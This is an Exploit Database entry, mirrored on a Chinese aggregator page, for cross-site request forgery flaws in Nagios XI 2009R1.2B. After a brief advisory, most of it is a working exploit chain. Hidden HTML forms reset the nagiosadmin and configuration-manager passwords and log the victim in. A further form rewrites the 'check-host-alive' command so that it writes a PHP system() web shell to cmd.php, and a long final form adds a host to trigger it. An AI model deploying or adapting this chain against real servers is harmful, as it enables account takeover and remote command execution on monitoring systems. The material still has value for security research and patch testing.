Nagios XI – Multiple Cross-Site Request Forgery Vulnerabilities

• Exploit Database
• 112 阅读

• 作者： Adam Baldwin
  日期： 2010-08-07
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/34431/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143

  source: https://www.securityfocus.com/bid/42322/info   Nagios XI is prone to multiple cross-site request-forgery vulnerabilities because the application fails to properly validate HTTP requests.   Successful exploit requires that the &apos;nagiosadmin&apos; be logged into the web interface.   Attackers can exploit these issues to gain unauthorized access to the affected application and perform certain administrative actions.   Nagios XI 2009R1.2B is vulnerable; other versions may also be affected.   Reset the nagiosadmin password via CSRF   This can be useful to hijack the administrators account. <input type=&apos;button&apos; id=&apos;adminpassword&apos; value=&apos;Set nagiosadmin Password&apos;/> <form name="adminpasswordform" action="http://www.example.com/nagiosxi/account/main.php?page=acctinfo" method="POST" target="hidden" class="invisible"> <input type="input" name="defaultDateFormat" value="1" /> <input type="input" name="defaultLanguage" value="en" /> <input type="input" name="defaultNumberFormat" value="1" /> <input type="input" name="defaultTheme" value="none" /> <input type="input" name="email" value="adam@ngenuity-is.com" /> <input type="input" name="name" value="Nagios Administrator" /> <input type="input" name="password1" value="letmein1" /> <input type="input" name="password2" value="letmein1" /> <input type="input" name="update" value="1" /> </form>     Reset the configuration manager password   The attacker just has the victim visit the following URL. Even if the nagios admin is not logged into the configuration admin, the attacker can…   1. Force a password reset of the configuration manager 2. Log the nagiosadmin into the configuration manager 3. Create a simple web shell on the nagios server.   http://www.example.com/nagiosxi/admin/credentials.php?options=1 &update=1 &config_admin_password=letmein1 &subsystem_ticket=2objrv9t6glq &config_backend_password=38ajpt   Log into the configuration manager with previously set password   <input type=&apos;button&apos; id=&apos;login&apos; value=&apos;Login to Config Manager&apos; /> <form name=&apos;loginform&apos; action="http://www.example.com/nagiosql/index.php" method="POST" target="hidden" class="invisible"> <input type="input" name="Submit" value="Login"/> <input type="input" name="tfPassword" value="letmein1"/> <input type="input" name="tfUsername" value="nagiosadmin"/> </form>   Modify nagios command to create a webshell when run   Note the \ before the ; in our php code is what makes this possible. Normally Nagios would not allow for a ; to be input into the command string unless escaped. PHP will happily still execute this code despite the \ being there.   <input type=&apos;button&apos; id=&apos;modifycmd&apos; value=&apos;Create Web Shell Command&apos; /> <form name=&apos;modifycmdform&apos; action="http://www.example.com/nagiosql/admin/checkcommands.php" method="POST" target="hidden" class="invisible"> <input type="input" name="chbActive" value="1"/> <input type="input" name="hidActive" value=""/> <input type="input" name="hidId" value="3"/> <input type="input" name="hidLimit" value="0"/> <input type="input" name="modus" value="modify"/> <input type="input" name="selCommandType" value="1"/> <input type="input" name="tfCommand" value=&apos;/bin/echo "<pre><?php echo system(\$$_GET[\"c\"])\; ?> </pre>" > /usr/local/nagiosxi/html/cmd.php&apos; /> <input type="input" name="tfName" value="check-host-alive"/> </form>   Add a Host to make sure our command is triggered, and the web shell created.   Yes this is a long and boring form…   <form name=&apos;addhostform&apos; action=&apos;http://www.example.com/nagiosql/admin/hosts.php&apos; method=&apos;POST&apos; target=&apos;hidden&apos; class=&apos;invisible&apos;> <input type="input" name="chbActive" value="1"/> <input type="input" name="hidActive" value=""/> <input type="input" name="hidId" value=""/> <input type="input" name="hidLimit" value="0"/> <input type="input" name="hidName" value=""/> <input type="input" name="modus" value="insert"/> <input type="input" name="radActiveChecksEnabled" value="2"/> <input type="input" name="radContactGroups" value="1"/> <input type="input" name="radContacts" value="1"/> <input type="input" name="radEventEnable" value="2"/> <input type="input" name="radFlapEnable" value="2"/> <input type="input" name="radFreshness" value="2"/> <input type="input" name="radHostGroups" value="2"/> <input type="input" name="radNoStatusInfos" value="2"/> <input type="input" name="radNotifEnabled" value="2"/> <input type="input" name="radObsess" value="2"/> <input type="input" name="radParent" value="2"/> <input type="input" name="radPassiveChecksEnabled" value="2"/> <input type="input" name="radPerfData" value="2"/> <input type="input" name="radStatusInfos" value="2"/> <input type="input" name="selCheckPeriod" value="0"/> <input type="input" name="selEventHandler" value="0"/> <!-- Command we overwrote --> <input type="input" name="selHostCommand" value="3"/> <input type="input" name="selNotifPeriod" value="3"/> <input type="input" name="selTemplate" value="2::1"/> <input type="input" name="tfActionURL" value=""/> <input type="input" name="tfAddress" value="4.2.2.2"/> <input type="input" name="tfArg1" value=""/> <input type="input" name="tfArg2" value=""/> <input type="input" name="tfArg3" value=""/> <input type="input" name="tfArg4" value=""/> <input type="input" name="tfArg5" value=""/> <input type="input" name="tfArg6" value=""/> <input type="input" name="tfArg7" value=""/> <input type="input" name="tfArg8" value=""/> <input type="input" name="tfCheckInterval" value=""/> <input type="input" name="tfD2Coords" value=""/> <input type="input" name="tfD3Coords" value=""/> <input type="input" name="tfDisplay" value=""/> <input type="input" name="tfFirstNotifDelay" value=""/> <input type="input" name="tfFreshTreshold" value=""/> <input type="input" name="tfFriendly" value="testpwn"/> <input type="input" name="tfGenericName" value=""/> <input type="input" name="tfHighFlat" value=""/> <input type="input" name="tfIconImage" value=""/> <input type="input" name="tfIconImageAlt" value=""/> <input type="input" name="tfLowFlat" value=""/> <input type="input" name="tfMaxCheckAttempts" value="5"/> <input type="input" name="tfName" value="testpwn"/> <input type="input" name="tfNotes" value=""/> <input type="input" name="tfNotesURL" value=""/> <input type="input" name="tfNotifInterval" value="0"/> <input type="input" name="tfRetryInterval" value=""/> <input type="input" name="tfStatusImage" value=""/> <input type="input" name="tfVmrlImage" value=""/> <input type="input" name="txtVariablename" value=""/> <input type="input" name="txtVariablevalue" value=""/> </form>